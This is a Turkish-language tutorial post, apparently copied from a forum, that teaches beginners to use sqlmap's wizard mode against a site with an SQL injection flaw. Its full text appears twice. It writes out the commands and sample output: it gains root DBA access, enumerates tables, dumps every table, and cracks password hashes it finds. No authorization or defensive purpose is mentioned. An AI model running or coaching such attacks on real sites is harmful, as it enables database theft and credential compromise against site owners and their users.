Bu Konuda Sqlmap Sihirbaz Anahtarı Komutu Olan Wizard ile Sql İnjection‘u göreceğiz.
Sqlmap Wizard Nedir Ne İşe Yarar?
Wizard Yeni başlayanlar için basit sihirbaz arayüzü görevi görmektedir.
Sqlmap‘a yeni giriş yapanlar için ideal bir komuttur.
Komutu girdiğinizde bütün işlemi sqlmap yapar komutu girene ise sadece sorularu cevaplamak kalır.
Terminal üzerinden sqlmap diyerek Sqlmap‘i açıyoruz.
Elimizde Sql açıklı bir site var.
Şu Şekilde Komut Giriyoruz;
sqlmap -u "site.com/news.php?id=1" --wizard
Bize aşağıdaki 2 Soruyu Sordu iki soru cevabı olarak 1‘i seçerek devam ediyoruz.
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
gt; 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
gt; 1
Gördüğünüz Gibi İşlem Başladı;
Databaseye Başarıyla Girdik;
web application technology: Apache 2.4.41, PHP 7.4.1
back-end DBMS: MySQL gt;= 5.0.12
banner: ‘10.4.11-MariaDB‘
current user: ‘root@localhost‘
current database: ‘db_astronomy‘
current user is DBA: True
Tablo ve Kolon çekme İşlemine Geçelim;
yine aynı komutu giriyoruz.
sqlmap -u "site.com/news.php?id=1" --wizard
bize yine aynı soruları soruyor.
14:47:06] [INFO] starting wizard interface
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
gt; 2
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
gt; 2
2 Soruda cevap olarak 2 Seçeneğini Seçip Devam Ediyoruz.
Gördüğünüz Gibi Tabloları verdi.
Birçok Tablo var bir kısmını Screenshot aldım.;
Tekrar Aynı Komutu Giriyoruz.
Bu Sefer Bütün Tabloların İçindeki verileri Dump edeceğiz.
sqlmap -u "site.com/news.php?id=1" --wizard
Bize Yine Aynı Soruları Sordu;
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
gt; 3
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
gt; 3
2 Soruda cevap olarak 3 seçeneğini seçerek devam ediyoruz.
sqlmap is running, please wait..
İşlem Devam Ediyor;
Gördüğünüz Gibi Bize Datada bazı Parolalar buldu.
Sqlmap Bu Parolaları kendi datasındaki hash list ile kırmak için Bizden Onay İstiyor.;
Gördüğünüz Gibi Tabloları Dumpladı.
Aşırı Fazla Tablo olduğundan örnek olarak bir Dump Örneği Screenshot aldım.;
-
alıntıdır.-
Sqlmap Wizard Nedir Ne İşe Yarar?
Wizard Yeni başlayanlar için basit sihirbaz arayüzü görevi görmektedir.
Sqlmap‘a yeni giriş yapanlar için ideal bir komuttur.
Komutu girdiğinizde bütün işlemi sqlmap yapar komutu girene ise sadece sorularu cevaplamak kalır.
Terminal üzerinden sqlmap diyerek Sqlmap‘i açıyoruz.
Elimizde Sql açıklı bir site var.
Şu Şekilde Komut Giriyoruz;
sqlmap -u "site.com/news.php?id=1" --wizard
Bize aşağıdaki 2 Soruyu Sordu iki soru cevabı olarak 1‘i seçerek devam ediyoruz.
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
gt; 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
gt; 1
Gördüğünüz Gibi İşlem Başladı;
Databaseye Başarıyla Girdik;
web application technology: Apache 2.4.41, PHP 7.4.1
back-end DBMS: MySQL gt;= 5.0.12
banner: ‘10.4.11-MariaDB‘
current user: ‘root@localhost‘
current database: ‘db_astronomy‘
current user is DBA: True
Tablo ve Kolon çekme İşlemine Geçelim;
yine aynı komutu giriyoruz.
sqlmap -u "site.com/news.php?id=1" --wizard
bize yine aynı soruları soruyor.
14:47:06] [INFO] starting wizard interface
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
gt; 2
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
gt; 2
2 Soruda cevap olarak 2 Seçeneğini Seçip Devam Ediyoruz.
Gördüğünüz Gibi Tabloları verdi.
Birçok Tablo var bir kısmını Screenshot aldım.;
Tekrar Aynı Komutu Giriyoruz.
Bu Sefer Bütün Tabloların İçindeki verileri Dump edeceğiz.
sqlmap -u "site.com/news.php?id=1" --wizard
Bize Yine Aynı Soruları Sordu;
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
gt; 3
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
gt; 3
2 Soruda cevap olarak 3 seçeneğini seçerek devam ediyoruz.
sqlmap is running, please wait..
İşlem Devam Ediyor;
Gördüğünüz Gibi Bize Datada bazı Parolalar buldu.
Sqlmap Bu Parolaları kendi datasındaki hash list ile kırmak için Bizden Onay İstiyor.;
Gördüğünüz Gibi Tabloları Dumpladı.
Aşırı Fazla Tablo olduğundan örnek olarak bir Dump Örneği Screenshot aldım.;
alıntıdır.-


